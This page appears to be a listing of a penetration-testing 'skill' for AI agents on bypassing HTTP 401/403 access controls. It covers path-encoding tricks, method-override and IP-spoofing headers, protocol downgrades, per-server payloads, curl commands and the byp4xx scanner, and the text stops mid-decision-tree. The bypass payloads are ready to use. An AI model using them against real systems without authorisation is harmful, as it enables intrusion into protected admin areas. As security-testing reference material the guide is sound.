401-403-bypass-techniques – skill Bảo mật cho agent AI

401/403 Bypass Techniques

A bypass candidate appears when two HTTP-processing layers (CDN, reverse proxy,

web server, framework) decide differently about the same request. The useful

signal is a change in routing or protected content, not a status code alone.

When to Use

• A known route returns 401 Unauthorized or 403 Forbidden.
• A reverse proxy, WAF, API gateway, or CDN sits in front of the application.
• Frontend and backend normalize paths, methods, or headers differently.
• IIS, Tomcat, Spring, Apache, Nginx, or WebDAV routing is visible.
• Equivalent requests return different status, headers, or body, hinting at a routing differential.

Prerequisites

• An HTTP client that preserves raw paths: curl --path-as-is or Burp Repeater.
• A denied baseline request plus a marker for the expected protected content.
• Optional tooling: byp4xx, dirsearch, feroxbuster, Burp Intruder, nghttp, nc.

How to Run

TARGET="https://target.example"
PATH_DENIED="/admin"
OUTDIR="${OUTPUT_DIR:-./output}/401-403"
mkdir -p "$OUTDIR"

# Denied baseline: record status, headers, and body for comparison.
curl -sS --path-as-is --max-time 10 \
  -D "$OUTDIR/baseline.headers" -o "$OUTDIR/baseline.body" \
  -w 'status=%{http_code} bytes=%{size_download} redirect=%{redirect_url}\n' \
  "$TARGET$PATH_DENIED"

# Compare candidates against the baseline.
curl -sS --path-as-is --max-time 10 -i "$TARGET/./${PATH_DENIED#/}"
curl -sS --path-as-is --max-time 10 -i -X OPTIONS "$TARGET$PATH_DENIED"
curl -sS --path-as-is --max-time 10 -i -H 'X-Forwarded-For: 127.0.0.1' "$TARGET$PATH_DENIED"

For each candidate, compare status, Location, body length, title, and a

protected-content marker against the baseline.

Procedure

1. Path Manipulation Bypasses

The core idea: the reverse proxy/WAF checks one path format, but the backend

normalizes differently. The ✓ marks request forms that commonly reach the

backend through a different route; a 200 alone is not proof of access (see

Verification).

1.1 Trailing Slash / Missing Slash

/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)

1.2 Case Sensitivity

/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

Works when: proxy rule is case-sensitive but backend is case-insensitive

(common on Windows/IIS).

1.3 URL Encoding

/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)

1.4 Double URL Encoding

/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓

1.5 Unicode / UTF-8 Encoding

/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong UTF-8 for 'n')
/%C0%AFadmin    → 200  ✓ (overlong UTF-8 for '/')

Modern UTF-8 decoders reject overlong forms; these target legacy parsers and

mixed decoding chains.

1.6 Dot-Segment / Path Traversal

/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)

1.7 Null Byte

/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓

Relevant to older native modules; modern managed runtimes usually reject

embedded NUL bytes.

1.8 Path Parameter Injection

/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓

1.9 Trailing Special Characters

/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~

1.10 Backslash (Windows/IIS)

/admin\    /admin\..\/    \..\admin

1.11 Combined Path Tricks

///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

2. HTTP Method Bypass

2.1 Direct Method Change

GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (bodyless response; does not by itself confirm access to the protected body)

2.2 Method Override Headers

When the proxy blocks by method, but the backend reads override headers:

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)

2.3 Custom / Invalid Methods

FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

3. Header-Based Bypass

3.1 URL Rewrite Headers (Reverse Proxy / IIS ARR)

These headers tell the backend the "real" URL, bypassing proxy-level path

checks:

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

The proxy sees GET / (allowed), but the backend routes to /admin.

3.2 IP Spoofing Headers (Whitelist Bypass)

Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal),

0x7f000001 (hex), localhost

3.3 Other Header Tricks

Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

4. Protocol Version Bypass

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See the hunt-http-smuggling skill for H2-specific bypasses, including h2c upgrade.

5. Verb Tampering + Path Combination

Combine multiple techniques for higher success rate:

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1

6. Technology-Specific Bypasses

| Server | Key Tricks |

|---|---|

| Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) |

| Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin |

| IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 |

| Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) |

| Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |

7. Automated Tools

| Tool | Purpose | URL |

|---|---|---|

| byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |

| dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |

| feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster |

| Burp Intruder | Custom payload lists for manual testing | portswigger.net |

byp4xx usage

# Basic usage: attempts path, method, header, and protocol variants.
byp4xx -m 10 --rate 5 -xD "https://target.com/admin"

# Output shows all attempted bypasses and their response codes.
# Treat 200/301/302 rows as candidates; confirm each against the baseline.

8. Decision Tree

Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│   ├── /path/      (trailing slash)
│   ├── /PATH       (case change)
│   ├── /path%20    (trailing space)
│   ├── /./path     (dot segment)
│   ├── //path      (double slash)
│   ├── /path;x     (path parameter — Java/Tomcat)
│   ├── /path..;/   (Tomcat specific)
│   ├── /%2e/path   (encoded dot)
│   ├── /path%00    (null byte)
│   ├── /path%23    (encoded hash)
│   └── Result? → status/body differ from baseline = candidate
│
├── Path tricks failed → Try METHOD BYPASS
│   ├── POST/PUT/PATCH/DELETE/OPTIONS
│   ├── HEAD (bodyless GET — verify body access separately)
│   ├── X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
├── Method tricks fai

… (nội dung đầy đủ có trong gói tải về)